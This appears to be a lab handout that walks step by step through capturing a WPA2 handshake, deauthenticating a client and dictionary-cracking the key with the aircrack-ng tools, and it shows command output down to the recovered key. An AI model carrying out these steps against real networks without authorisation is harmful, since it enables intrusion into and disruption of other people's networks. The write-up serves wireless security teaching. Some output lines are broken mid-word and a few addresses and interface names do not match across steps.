Project 6- WPA2 password cracking

Step 1 - Start the wireless interface in monitor mode

```
airmon-ng
Interface Chipset Driver
rausb0 Ralink RT73
rt73 wlan0 Broadcom b43 - [phy0]
wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0)
```

Step 1a - Setting up madwifi-ng

```
airmon-ng stop ath0
```

```
Interface Chipset Driver
wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0) (VAP destroyed)
```

Enter “iwconfig” to ensure there are no other athX interfaces.

```
lo no wireless extensions.
eth0 no wireless extensions.
 wifi0 no wireless extensions.
```

Now, enter the following command to start the wireless card on channel 9 in monitor mode:

```
airmon-ng start wifi0 9
```

```
Interface Chipset Driver
wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent:
wifi0) (monitor mode enabled)
```

```
lo no wireless extensions. wifi0 no
wireless extensions. eth0 no wireless
extensions. ath0 IEEE 802.11g ESSID:""
Nickname:"" Mode:Monitor
Frequency:2.452 GHz Access Point:
00:0F:B5:88:AC:82 Bit Rate:0 kb/s Tx-
Power:18 dBm Sensitivity=0/3 Retry:off
RTS thr:off Fragm
```

```
ent thr:off Encryption key:off Power
Management:off Link Quality=0/94 Signal
level=-95 dBm Noise level=-95 dBm Rx
invalid nwid:0 Rx invalid crypt:0 Rx
invalid frag:0 Tx excessive retries:0
Invalid misc:0 Missed beacon:0
```

Step 1b - Setting up mac80211 drivers

```
airmon-ng start wlan0 9
```

The system responds:

```
Interface Chipset Driver
wlan0 Broadcom b43 - [phy0] (monitor
mode enabled on mon0)
```

Step 2 - Start airodump-ng to collect authentication handshake

```
airodump-ng -c 9 --bssid
00:14:6C:7E:40:80 -w psk ath0
```

Step 3 - Use aireplay-ng to deauthenticate the wireless client

```
aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c
00:0F:B5:FD:FB:C2 ath0
```

```
11:09:28 Sending DeAuth to station --
STMAC: [00:0F:B5:34:30:30]
```

Step 4 - Run aircrack-ng to crack the pre-shared key

```
aircrack-ng -w password.lst -b
00:14:6C:7E:40:80 psk*.cap
```

```
Opening psk-01.cap Opening psk-02.cap
Opening psk-03.cap Opening psk-04.cap
Read 1827 packets.
# BSSID ESSID Encryption 1
00:14:6C:7E:40:80 teddy WPA (1
handshake) Choosing first network as
target.
```

```
Aircrack-ng 0.8
[00:00:00] 2 keys tested (37.20 k/s)
KEY FOUND! [ 12345678 ]
Master Key : CD 69 0D 11 8E AC AA C5
C5 EC BB 59 85 7D 49 3E B8 A6 13 C5 4A
72 82 38 ED C3 7E 2C 59 5E AB FD
Transcient Key : 06 F8 BB F3 B1 55 AE
EE 1F 66 AE 51 1F F8 12 98 CE 8A 9D A0
FC ED A6 DE 70 84 BA 90 83 7E CD 40 FF
1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5
4A 5E 2B 20 90 8C EA 32 15 A6 26 62 93
27 66 66 E0 71 EAPOL HMAC : 4E 27 D9
5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB
```